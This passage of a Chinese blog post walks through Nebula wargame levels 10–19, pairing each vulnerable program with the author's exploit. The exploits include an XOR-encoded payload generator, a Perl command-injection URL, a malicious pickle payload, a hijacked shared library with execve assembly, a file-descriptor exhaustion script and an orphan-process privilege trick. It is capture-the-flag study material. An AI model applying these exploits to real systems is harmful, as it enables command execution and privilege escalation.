4、在终端1中用nc监听18211端口,其中-k参数表示在连接结束之后强制保持连接状态

5、在终端2下(按Ctrl+Fn+Alt+F2切换),建立一个文件/tmp/zjj,再写一个不断建立软链接的bash脚本jj,对此脚本加入可执行权限并执行

6、在终端3的/tmp目录下建立脚本yy,对此脚本加入可执行权限并执行

7、返回终端1,查看nc收到的信息,得到token即flag10的登录密码;登录flag10账号后,执行getflag即可过关~

level11——任意文件可执行漏洞

题目

The /home/flag11/flag11 binary processes standard input and executes a shell command.

There are two ways of completing this level, you may wish to do both

源代码

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <fcntl.h>
#include <stdio.h>
#include <sys/mman.h>

/*
 * Return a random, non predictable file, and return the file descriptor for it.
 */

int getrand(char **path)
{
  char *tmp;
  int pid;
  int fd;

  srandom(time(NULL));

  tmp = getenv("TEMP");
  pid = getpid();
  
  asprintf(path, "%s/%d.%c%c%c%c%c%c", tmp, pid,
      'A' + (random() % 26), '0' + (random() % 10),
      'a' + (random() % 26), 'A' + (random() % 26),
      '0' + (random() % 10), 'a' + (random() % 26));

  fd = open(*path, O_CREAT|O_RDWR, 0600);
  unlink(*path);
  return fd;
}

void process(char *buffer, int length)
{
  unsigned int key;
  int i;

  key = length & 0xff;

  for(i = 0; i < length; i++) {
      buffer[i] ^= key;
      key -= buffer[i];
  }

  system(buffer);
}

#define CL "Content-Length: "

int main(int argc, char **argv)
{
  char line[256];
  char buf[1024];
  char *mem;
  int length;
  int fd;
  char *path;

  if(fgets(line, sizeof(line), stdin) == NULL) {
      errx(1, "reading from stdin");
  }

  if(strncmp(line, CL, strlen(CL)) != 0) {
      errx(1, "invalid header");
  }

  length = atoi(line + strlen(CL));
  
  if(length < sizeof(buf)) {
      if(fread(buf, length, 1, stdin) != length) {
          err(1, "fread length");
      }
      process(buf, length);
  } else {
      int blue = length;
      int pink;

      fd = getrand(&path);

      while(blue > 0) {
          printf("blue = %d, length = %d, ", blue, length);

          pink = fread(buf, 1, sizeof(buf), stdin);
          printf("pink = %d\n", pink);

          if(pink <= 0) {
              err(1, "fread fail(blue = %d, length = %d)", blue, length);
          }
          write(fd, buf, pink);

          blue -= pink;
      }    

      mem = mmap(NULL, length, PROT_READ|PROT_WRITE, MAP_PRIVATE, fd, 0);
      if(mem == MAP_FAILED) {
          err(1, "mmap");
      }
      process(mem, length);
  }

}

解题思路
1、通过之前的练习,我们可以大致判断出函数system()是危险的,因此我们着重注意process函数;process函数中system的参数来自于buffer变量的内容,并且在system执行之前,程序对buffer里的数据做了一次异或运算,利用异或两次即复原的特性,我们可以编写如下的攻击代码

#include <stdio.h>
#include <stdlib.h>

int main(int argc, char *argv[])
{
    int length = 1024;
    char *cmd = "getflag";    // 要执行的命令
    char buf[1024];
    int key = length & 0xff;
    int i = 0;
    strncpy(buf,cmd,1024);    // 把“ getflag” 字符串拷贝到 buf 里,其余空间空字节填充
    for(; i<length; i++)
    {   
        buf[i] ^= key;
        key = key - (buf[i] ^ key);       // 一定要 buf[i]^key 才可得到正确的 key ,上面那句代码才可正确执行
    }
    puts("Content-Length: 1024");    // 输出至标准输出
    fwrite(buf,1,length,stdout);
    return 0;
}

2、在getrand函数里tmp = getenv("TEMP"); 说明需要环境变量TEMP,所以要先设置一个名叫“TEMP”的环境变量

3、执行攻击成功~

level12——攻击Lua脚本

题目

There is a backdoor process listening on port 50001.

源代码

local socket = require("socket")
local server = assert(socket.bind("127.0.0.1", 50001))

function hash(password)
  prog = io.popen("echo "..password.." | sha1sum", "r")
  data = prog:read("*all")
  prog:close()

  data = string.sub(data, 1, 40)

  return data
end


while 1 do
  local client = server:accept()
  client:send("Password: ")
  client:settimeout(60)
  local line, err = client:receive()
  if not err then
      print("trying " .. line) -- log from where ;\
      local h = hash(line)

      if h ~= "4754a4f4bd5787accd33de887b9250a0691dd198" then
          client:send("Better luck next time\n");
      else
          client:send("Congrats, your token is 413**CARRIER LOST**\n")
      end

  end

  client:close()
end

解题思路
1、虽然是我们没学过的lua语言,但凭借英语理解,我们可以大概知道这个程序大致是通过socket建立连接,要求用户输入密码,然后将密码加密后与密文 “4754a4f4bd5787accd33de887b9250a0691dd198”进行对比

2、客户端通过local line, err = client:receive() 接受输入的密码,然后调用local h = hash(line),此程序的漏洞在于hash 函数里加密方式是通过调用shell命令prog = io.popen("echo "..password.." | sha1sum", "r")来完成的

3、使用nc连接,并尝试在输入密码时进行命令注入,攻击成功~

Level13——再次窃取 token

题目

There is a security check that prevents the program from continuing execution if the user invoking it does not match a specific user id.

源代码

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <sys/types.h>
#include <string.h>

#define FAKEUID 1000

int main(int argc, char **argv, char **envp)
{
  int c;
  char token[256];

  if(getuid() != FAKEUID) {
    printf("Security failure detected. UID %d started us, we expect %d\n", getuid(), FAKEUID);
    printf("The system administrators will be notified of this violation\n");
    exit(EXIT_FAILURE);
  }

  // snip, sorry :)

  printf("your token is %s\n", token);

}

解题思路
1、这段程序通过getuid获得当前用户的uid与FAKEUID做比较,FAKEUID是一个宏,值为1000,只要uid=1000的用户才可以读取token,显而易见,这题要想通过必须修改uid,或者说当getuid调用时,getuid得到的uid为1000

2、这里需要用到逆向工程的知识,一般函数的返回值存放在eax寄存器里的,getuid函数调用后,eax寄存器里就是当前用户的uid,因此我们可以使用gdb调试这个程序,修改eax的内容

3、反汇编main函数,我们可以在判断语句cmp $0x3e8,%eax处下个断点

4、查看断点处的eax寄存器,可以看到当前用户的uid是1014,接着就是修改eax的值为1000,让程序继续运行,即可显示出token啦

5、使用获取的token登录flag13账号,执行getflag成功过关~

level14——破解加密程序

题目

This program resides in /home/flag14/flag14. It encrypts input and writes it to standard output. An encrypted token file is also in that home directory, decrypt it

解题思路
1、通过题目提示,我们可以得知flag14是个加密程序,题目需要破解用flag14加密过的token文件,所以我们可以先用flag14加密一些数据,试图看出它的加密原理

2、多试几组数据后,我们大概可以知道这个加密算法的思路就是第0位的字符加0,第1位的字符加1,...,第i位的字符加i,以此类推,知道加密原理后,我们可以直接编写解密程序

#include <stdio.h>
#include <string.h>
int main()
{
    char buf[1000];
    scanf("%s", buf);
    
    int i;
    for (i = 0; i < strlen(buf); i++) {
        buf[i] -= i;
    }
    
    puts(buf);  
    return 0;
}

3、执行上面编写的程序即成功解密token,然后用它登录flag14账号执行getflag即可过关~

Level15——动态链接库劫持

题目

strace the binary at /home/flag15/flag15 and see if you spot anything out of the ordinary. You may wish to review how to “compile a shared library in linux” and how the libraries are loaded and processed by reviewing the dlopen manpage in depth.

解题思路
1、根据题目的提示,我们需要用strace命令跟踪flag15的系统调用情况,然后根据它调用的动态链接库来劫持它

2、使用strace ./flag15 命令跟踪系统调用情况,发现这个程序大量读取libc.so.6动态库,但是进入目录后没有发现,因此我们的思路是自己写一个有恶意指令的libc.so.6,当flag15调用libc.so.6时,完成劫持操作

3、在攻击前,我们需要了解下Linux动态链接库的一点预备知识,Linux动态链接库的入口函数是_init,但因为_init函数是在gcc命令编译时自动加入的,我们无法对其进行重载,不过我们可以利用gcc的一个特性,让程序在执行_init函数之前,先执行带有__attribute ((constructor))的函数

4、使用objdump -p flag15 | grep RPATH命令可以看出我们对/var/tmp有写入权限,因此在/var/tmp里创建一个目录flag15,并在此目录下编写如下的 libc.c,然后使用命令gcc -fpic -shared libc.c -o libc.so.6 生成动态链接库

#include <stdio.h>

void __attribute__((constructor)) init()
{
    system("/bin/getflag");
}

5、在/home/flag15文件夹下执行flag15程序,报错提示需要定义一个__cxa_finalize函数以及glibc的版本有问题

6、我们需要在libc.c中添加一个__cxa_finalize函数的定义,同时为了避免glibc的版本问题,可以在生成链接库的时候使用-nostdlib参数,表示不连接系统标准启动文件和标准库文件,但因此我们也不能直接调用系统的system()函数,所以还得用汇编语言自己实现了一个system函数

.section .text
.globl system
system:

mov $getflag, %ebx
xor %edx, %edx # 异或清空 edx ,作为空参数
push %edx
push %ebx
mov %esp, %ecx
mov $11, %eax # 调用 execve 中断
int $0x80

.section .data
getflag: .ascii "/bin/getflag\0" 

7、重新编译生成动态链接库,执行./flag15,成功过关~

Level16——再次攻击Perl脚本可执行任意文件漏洞

题目

There is a perl script running on port 1616.

源代码

#!/usr/bin/env perl

use CGI qw{param};

print "Content-type: text/html\n\n";

sub login {
  $username = $_[0];
  $password = $_[1];

  $username =~ tr/a-z/A-Z/; # conver to uppercase
  $username =~ s/\s.*//;        # strip everything after a space

  @output = `egrep "^$username" /home/flag16/userdb.txt 2>&1`;
  foreach $line (@output) {
      ($usr, $pw) = split(/:/, $line);
  

      if($pw =~ $password) {
          return 1;
      }
  }

  return 0;
}

sub htmlz {
  print("<html><head><title>Login resuls</title></head><body>");
  if($_[0] == 1) {
      print("Your login was accepted<br/>");
  } else {
      print("Your login failed<br/>");
  }    
  print("Would you like a cookie?<br/><br/></body></html>\n");
}

htmlz(login(param("username"), param("password")));

解题思路

在正式解题之前,我们要直面这道关卡必须用到虚拟机ip地址的事实~结合网上相关资料,明白是由于虚拟机缺乏eth0网卡导致的,最终通过把/etc/network/interface中的eth0全部改成eth1从而获得ip地址

1、分析代码,我们可以看出这段脚本实现了一个简单的登录认证,先接受传来的username和password,然后将参数中的英文转换成大写并过滤掉空格,接着通过调用外部shell命令egrep进行判断,并把结果存储到数组@output中,最后再遍历数组,判断登录是否成功

2、同样此程序的漏洞出现在调用外部shell命令 @output = `egrep "^$username" /home/flag16/userdb.txt 2>&1`;中,为了防止我们随意填写$username,程序提前将该参数的字母全部转换成大写,而Linux默认是区分大小写的,因此若想有效地执行其它命令,则需要把username转换成小写,shell中使用“${变量名,,}”即可将变量名转换成小写。

3、由于egrep后面有引号,因此我们注入命令需要闭合引号,并且用/dev/null为egrep构造一个需要的输入,最终我们构造的注入用户名为"</DEV/NULL;CMD=/TMP/ZJJ;${CMD,,};# ,其中/tmp/zjj是一个内容如下的可执行脚本文件

#! /bin/bash

/bin/getflag > /tmp/flag16

4、使用在线编码工具转换构造的用户名,使用主机浏览器访问192.168.1.181:1616/index.cgi?username=%22%3C%2FDEV%2FNULL%3BCMD%3D%2FTMP%2FZJJ%3B%24%7BCMD%2C%2C%7D%3B%23&password=123,提交之后,虚拟机出现新的文件/tmp/flag16,攻击成功~

Level17——Python的 pickle格式可执行脚本漏洞

题目

There is a python script listening on port 10007 that contains a vulnerability.

源代码

#!/usr/bin/python

import os
import pickle
import time
import socket
import signal

signal.signal(signal.SIGCHLD, signal.SIG_IGN)

def server(skt):
    line = skt.recv(1024)

    obj = pickle.loads(line)

    for i in obj:
        clnt.send("why did you send me " + i + "?\n")


skt = socket.socket(socket.AF_INET, socket.SOCK_STREAM, 0)
skt.bind(('0.0.0.0', 10007))
skt.listen(10)

while True:
    clnt, addr = skt.accept()

    if(os.fork() == 0):
        clnt.send("Accepted connection from %s:%d" % (addr[0], addr[1]))
        server(clnt)
        exit(1)

解题思路
1、脚本首先建立监听端口10007的socket连接,然后接受客户端发送的数据并使用pickle.loads处理,因此我们需要先了解下Python提供的pickle模块:该模块把对象按照一定的格式保存在文件中,在另外的脚本中使用pickle.load或者pickle.loads即可重新使用这些对象,load和loads函数不同之处是load处理存储在文件里的pickle格式数据,loads则是处理字符串表达的pickle格式的数据

2、我们可以用例子来加深对pickle模块的理解,首先编写一个脚本a.py对字符串zjj进行序列化,并存储在/tmp/level17中,然后再编写一个脚本b.py对/tmp/level17里的字符串反序列化并输出

3、分析一下/tmp/level7的内容,我们大概可以理解成S’字符串’就是生成一个字符串,p0是代表没有其它参数即结束;由此我们可以设想使用pickle.loads方法反序列化被我们精心构造的数据,即希望执行的python脚本内容如下

import os
system('getflag > /tmp/flag17)

4、编写一个文件/tmp/exp,保存如下的序列化数据,其中操作码c表示使用模块os,(S’参数’用于将参数压入栈,官方叫它MARK对象, tR操作码大概就是从栈顶开始弹出所有值,包括MARK对象, 最后”.”是pickle结束标志

cos
system
(S'getflag>/tmp/flag17'
tR.

5、最后将exp文件传给正在监听的10007端口,攻击成功~

Level18——资源未释放漏洞

题目

Analyse the C program, and look for vulnerabilities in the program. There is an easy way to solve this level, an intermediate way to solve it, and a more difficult/unreliable way to solve it.

源代码

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>
#include <sys/types.h>
#include <fcntl.h>
#include <getopt.h>

struct {
  FILE *debugfile;
  int verbose;
  int loggedin;
} globals;

#define dprintf(...) if(globals.debugfile) \
  fprintf(globals.debugfile, __VA_ARGS__)
#define dvprintf(num, ...) if(globals.debugfile && globals.verbose >= num) \
  fprintf(globals.debugfile, __VA_ARGS__)

#define PWFILE "/home/flag18/password"

void login(char *pw)
{
  FILE *fp;

  fp = fopen(PWFILE, "r");
  if(fp) {
      char file[64];

      if(fgets(file, sizeof(file) - 1, fp) == NULL) {
          dprintf("Unable to read password file %s\n", PWFILE);
          return;
      }
      if(strcmp(pw, file) != 0) return;
  }
  dprintf("logged in successfully (with%s password file)\n",
      fp == NULL ? "out" : "");

  globals.loggedin = 1;

}

void notsupported(char *what)
{
  char *buffer = NULL;
  asprintf(&buffer, "--> [%s] is unsupported at this current time.\n", what);
  dprintf(what);
  free(buffer);
}

void setuser(char *user)
{
  char msg[128];

  sprintf(msg, "unable to set user to '%s' -- not supported.\n", user);
  printf("%s\n", msg);

}

int main(int argc, char **argv, char **envp)
{
  char c;

  while((c = getopt(argc, argv, "d:v")) != -1) {
      switch(c) {
          case 'd':
              globals.debugfile = fopen(optarg, "w+");
              if(globals.debugfile == NULL) err(1, "Unable to open %s", optarg);
              setvbuf(globals.debugfile, NULL, _IONBF, 0);
              break;
          case 'v':
              globals.verbose++;
              break;
      }
  }

  dprintf("Starting up. Verbose level = %d\n", globals.verbose);

  setresgid(getegid(), getegid(), getegid());
  setresuid(geteuid(), geteuid(), geteuid());

  while(1) {
      char line[256];
      char *p, *q;

      q = fgets(line, sizeof(line)-1, stdin);
      if(q == NULL) break;
      p = strchr(line, '\n'); if(p) *p = 0;
      p = strchr(line, '\r'); if(p) *p = 0;

      dvprintf(2, "got [%s] as input\n", line);

      if(strncmp(line, "login", 5) == 0) {
          dvprintf(3, "attempting to login\n");
          login(line + 6);
      } else if(strncmp(line, "logout", 6) == 0) {
          globals.loggedin = 0;
      } else if(strncmp(line, "shell", 5) == 0) {
          dvprintf(3, "attempting to start shell\n");
          if(globals.loggedin) {
              execve("/bin/sh", argv, envp);
              err(1, "unable to execve");
          }
          dprintf("Permission denied\n");
      } else if(strncmp(line, "logout", 4) == 0) {
          globals.loggedin = 0;
      } else if(strncmp(line, "closelog", 8) == 0) {
          if(globals.debugfile) fclose(globals.debugfile);
          globals.debugfile = NULL;
      } else if(strncmp(line, "site exec", 9) == 0) {
          notsupported(line + 10);
      } else if(strncmp(line, "setuser", 7) == 0) {
          setuser(line + 8);
      }
  }

  return 0;
}

解题思路
1、通读代码,可以知道主要实现如下:程序首先查看两个参数,-d能够将日志记录到提供的文件中,-v增加详细级别;然后程序启动并将详细级别写入调试文件,并且为二进制程序设置EUID权限,接着程序开始接收输入

  • 登录 :如果读取/home/flag18/password文件失败,程序就会登录到用户
  • 注销 :清除globals.loggedin标志
  • shell:当globals.loggedin=1条件满足即用户登录成功,它会执行一个shell命令 execve("/bin/sh", argv, envp);
  • closelog:关闭日志文件描述符并停止记录
  • site exec:调用notsupported函数,其中存在格式字符串漏洞(dprintf(what))

2、这个程序的关键漏洞在于login函数中调用了fopen(),但并没有调用fclose()释放资源;Linux默认情况下,一个进程只可以打开1024个句柄(可以通过ulimit -n命令查看),由于是个交互式程序,程序将不断接受用户输入的指令,每调用一次login执行,就会消耗一个句柄,等到句柄消耗完毕就会导致fp返回空进而登录用户

3、因为Linux的标准输入stdin、输出stdout和错误stderr各需要一个句柄,所以实际可供使用的句柄只有1021个; 编写一个输出1021个“login zjj”命令的脚本:

for i in {0..1020};
do
    echo 'login zjj'>>/tmp/login;
done;

之后再执行cat /tmp/login | /home/flag18/flag18 -d /tmp/debug,其中-d参数是输出信息到指定的文件中

4、根据/tmp/debug中的内容,我们可以看出登录成功了,接着就可以追加一个“shell”命令,不过在“shell”命令执行前,我们需要先执行closelog命令释放一个句柄,基于以上,在/tmp/login中加入closelog和shell

5、-d参数出现错误,查阅bash的手册页资料我们知道这是bin/sh接受参数时的问题,加上–-rcfile即可解决

6、新的错误(漏洞)来了,提示找不到Starting命令,由前面攻击环境变量的练习我们可以联想到在/tmp目录里新建一个可执行脚本Starting,该脚本内容是将getflag的输出重定向到/tmp/output中,然后将/tmp路径添加到环境变量下

7、再次运行程序,/tmp目录下多了output文件,攻击成功~

Level19——进程的突破

题目

There is a flaw in the below program in how it operates.

源代码

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>
#include <fcntl.h>
#include <sys/stat.h>

int main(int argc, char **argv, char **envp)
{
  pid_t pid;
  char buf[256];
  struct stat statbuf;

  /* Get the parent's /proc entry, so we can verify its user id */

  snprintf(buf, sizeof(buf)-1, "/proc/%d", getppid());

  /* stat() it */

  if(stat(buf, &statbuf) == -1) {
      printf("Unable to check parent process\n");
      exit(EXIT_FAILURE);
  }

  /* check the owner id */

  if(statbuf.st_uid == 0) {
      /* If root started us, it is ok to start the shell */

      execve("/bin/sh", argv, envp);
      err(1, "Unable to execve");
  }

  printf("You are unauthorized to run this program\n");
}

解题思路
1、这段程序的流程是这样的:

  • 先通过getppid()函数得到父进程pid号
  • 根据pid号找到/proc下当前pid号的目录
  • 如果属于root,就执行shell

2、解题前先了解下Linux中的进程父子关系:当子进程销毁时,父进程需要回收它;如果在子进程执行完毕之前,父进程因为种种原因被销毁了,那么子进程就变成了孤儿进程,收养它的是init进程,init进程是Linux启动时创建的第一个进程,是所有进程的父进程,具有root权限

3、突破这段程序的方法就是写一段代码,fork一个进程,并且在fork出的子进程执行完毕之前,将父进程结束掉,这样init进程就会接子进程,子进程也就自然拥有root权限

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
int main(void)
{
  pid_t pid;
  pid = fork();
  char *argvs[] = {"/bin/sh","-c","getflag>/tmp/flag19",NULL}; // 将 getflag 的内容重定向到 /tmp/flag19 中
  if(pid == 0) // 如果 pid==0 ,则是子进程
  {
    execve("/home/flag19/flag19",argvs,NULL);
  }else if(pid > 0){ // 返回给父进程时,直接结束父进程,子进程就成了孤儿进程了
    exit(0);
  }
return 0;
}

4、运行程序后,有新生成的/tmp/flag19文件,通关成功!

体会总结

  • 前面几关都是利用代码中的小漏洞或是使用一些小技巧(软连接、修改环境变量等)获得权限的,对我而言真正有难度的关卡是从level09开始的,这关是攻击PHP代码的,无论是代码本身的语言还是里面用到的正则表达式知识,我都比较薄弱,虽然在教程的帮助下成功过关了,但深挖起来还有一些逻辑上不能理解的细节

  • level10漏洞的原理我觉得还比较有意思,它是一个经典文件访问竞态条件漏洞,也可称作为“TOCTOU漏洞“—— time of check,time of use。在早期的单处理操作系统中,这样的代码可能是严谨的,因为单处理的话,进程执行完毕后才发生切换。但是在多任务的操作系统中有这样一个问题:在用access检查文件后,这个程序可能受到其他程序的干扰或者发生进程切换,在进程发生切换之后,进程失去了执行流程,并且在它还未再次获得执行时,它操作的文件发生改变。

  • 许多关卡比如level11、level18官方提示都有多种解法,但因为水平限制,我做出来的都是比较简单的那一种,所以针对这套题还是有一定再挖掘空间的~

  • level15在我看来也是比较有趣的一道关卡,不仅要用到Linux动态链接库的相关知识,最终攻击成功还需要自己用汇编语言编写system()函数;除此之外level17是使用了序列化与反序列化的相关知识,level19是利用“孤儿进程”的特性……整套练习做下来还是能学到很多以前未曾接触的知识点的,总而言之,学习之路任重道远

参考资料

posted @ 2019-06-29 22:02  匪夷所思05  阅读(1057)  评论(0编辑  收藏  举报